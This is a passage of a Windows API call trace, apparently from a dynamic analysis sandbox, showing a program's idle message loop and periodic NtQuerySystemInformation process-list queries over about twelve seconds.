wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0147.744] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0147.744] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0147.744] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0147.744] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0147.744] WaitMessage () returned 1 [0148.274] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0148.274] IsWindowUnicode (hWnd=0x10166) returned 1 [0148.274] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0148.274] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0148.275] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0148.275] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0148.275] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0148.275] WaitMessage () returned 1 [0148.805] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0148.805] IsWindowUnicode (hWnd=0x10166) returned 1 [0148.805] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0148.805] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0148.805] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0148.805] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0148.805] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0148.805] WaitMessage () returned 1 [0149.335] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0149.335] IsWindowUnicode (hWnd=0x10166) returned 1 [0149.335] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0149.335] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0149.335] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0149.335] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0149.335] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0149.336] WaitMessage () returned 1 [0149.366] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0149.366] IsWindowUnicode (hWnd=0x1015c) returned 1 [0149.366] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0149.366] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0149.367] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0149.367] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3a894b0, Length=0x20000, ResultLength=0xb6ed10 | out: SystemInformation=0x3a894b0, ResultLength=0xb6ed10*=0x75c8) returned 0x0 [0149.368] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0149.368] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0149.368] WaitMessage () returned 1 [0149.866] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0149.866] IsWindowUnicode (hWnd=0x10166) returned 1 [0149.866] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0149.866] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0149.866] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0149.867] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0149.867] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0149.867] WaitMessage () returned 1 [0150.396] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0150.396] IsWindowUnicode (hWnd=0x10166) returned 1 [0150.396] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0150.396] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0150.396] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0150.396] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0150.396] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0150.396] WaitMessage () returned 1 [0150.926] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0150.927] IsWindowUnicode (hWnd=0x10166) returned 1 [0150.927] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0150.927] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0150.927] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0150.927] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0150.927] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0150.927] WaitMessage () returned 1 [0151.394] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0151.394] IsWindowUnicode (hWnd=0x1015c) returned 1 [0151.394] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0151.394] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0151.395] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0151.395] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3a894b0, Length=0x20000, ResultLength=0xb6ed10 | out: SystemInformation=0x3a894b0, ResultLength=0xb6ed10*=0x76c8) returned 0x0 [0151.396] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0151.396] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0151.396] WaitMessage () returned 1 [0151.472] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0151.472] IsWindowUnicode (hWnd=0x10166) returned 1 [0151.472] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0151.472] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0151.472] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0151.473] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0151.473] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0151.473] WaitMessage () returned 1 [0152.003] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0152.003] IsWindowUnicode (hWnd=0x10166) returned 1 [0152.003] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0152.003] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0152.003] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0152.003] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0152.003] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0152.003] WaitMessage () returned 1 [0152.533] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0152.533] IsWindowUnicode (hWnd=0x10166) returned 1 [0152.533] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0152.533] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0152.533] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0152.533] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0152.534] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0152.534] WaitMessage () returned 1 [0153.063] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0153.064] IsWindowUnicode (hWnd=0x10166) returned 1 [0153.064] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0153.064] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0153.064] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0153.064] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0153.064] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0153.064] WaitMessage () returned 1 [0153.408] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0153.408] IsWindowUnicode (hWnd=0x1015c) returned 1 [0153.408] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0153.408] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0153.408] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0153.408] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3a894b0, Length=0x20000, ResultLength=0xb6ed10 | out: SystemInformation=0x3a894b0, ResultLength=0xb6ed10*=0x7748) returned 0x0 [0153.408] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0153.408] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0153.408] WaitMessage () returned 1 [0153.594] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0153.594] IsWindowUnicode (hWnd=0x10166) returned 1 [0153.594] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0153.594] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0153.594] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0153.594] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0153.594] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0153.594] WaitMessage () returned 1 [0154.130] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0154.130] IsWindowUnicode (hWnd=0x10166) returned 1 [0154.130] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0154.130] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0154.130] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0154.130] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0154.130] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0154.130] WaitMessage () returned 1 [0154.670] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0154.670] IsWindowUnicode (hWnd=0x10166) returned 1 [0154.670] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0154.670] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0154.670] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0154.670] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0154.670] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0154.670] WaitMessage () returned 1 [0155.201] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0155.201] IsWindowUnicode (hWnd=0x10166) returned 1 [0155.201] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0155.201] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0155.201] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0155.201] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0155.202] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0155.202] WaitMessage () returned 1 [0155.419] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0155.419] IsWindowUnicode (hWnd=0x1015c) returned 1 [0155.419] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0155.419] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0155.419] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0155.420] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3a894b0, Length=0x20000, ResultLength=0xb6ed10 | out: SystemInformation=0x3a894b0, ResultLength=0xb6ed10*=0x7748) returned 0x0 [0155.421] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0155.421] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0155.421] WaitMessage () returned 1 [0155.731] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0155.731] IsWindowUnicode (hWnd=0x10166) returned 1 [0155.731] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0155.731] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0155.731] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0155.731] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0155.731] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0155.731] WaitMessage () returned 1 [0156.261] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0156.261] IsWindowUnicode (hWnd=0x10166) returned 1 [0156.262] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0156.262] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0156.262] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0156.262] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0156.262] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0156.262] WaitMessage () returned 1 [0156.792] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0156.792] IsWindowUnicode (hWnd=0x10166) returned 1 [0156.792] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0156.792] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0156.792] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0156.792] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0156.792] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0156.792] WaitMessage () returned 1 [0157.322] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0157.322] IsWindowUnicode (hWnd=0x10166) returned 1 [0157.322] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0157.322] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0157.322] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0157.323] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0157.323] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0157.323] WaitMessage () returned 1 [0157.431] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0157.431] IsWindowUnicode (hWnd=0x1015c) returned 1 [0157.431] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0157.432] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0157.432] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0157.432] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3a894b0, Length=0x20000, ResultLength=0xb6ed10 | out: SystemInformation=0x3a894b0, ResultLength=0xb6ed10*=0x7748) returned 0x0 [0157.433] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0157.433] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0157.433] WaitMessage () returned 1 [0157.853] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0157.853] IsWindowUnicode (hWnd=0x10166) returned 1 [0157.853] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0157.853] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0157.853] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0157.854] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0157.854] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0157.854] WaitMessage () returned 1 [0158.399] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0158.399] IsWindowUnicode (hWnd=0x10166) returned 1 [0158.399] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0158.399] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0158.399] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0158.400] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0158.400] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0158.400] WaitMessage () returned 1 [0158.929] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0158.929] IsWindowUnicode (hWnd=0x10166) returned 1 [0158.929] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0158.929] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0158.929] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0158.929] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0158.930] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0158.930] WaitMessage () returned 1 [0159.460] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0159.460] IsWindowUnicode (hWnd=0x1015c) returned 1 [0159.460] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0159.460] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0159.460] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0159.461] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3a894b0, Length=0x20000, ResultLength=0xb6ed10 | out: SystemInformation=0x3a894b0, ResultLength=0xb6ed10*=0x7748) returned 0x0 [0159.464] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) 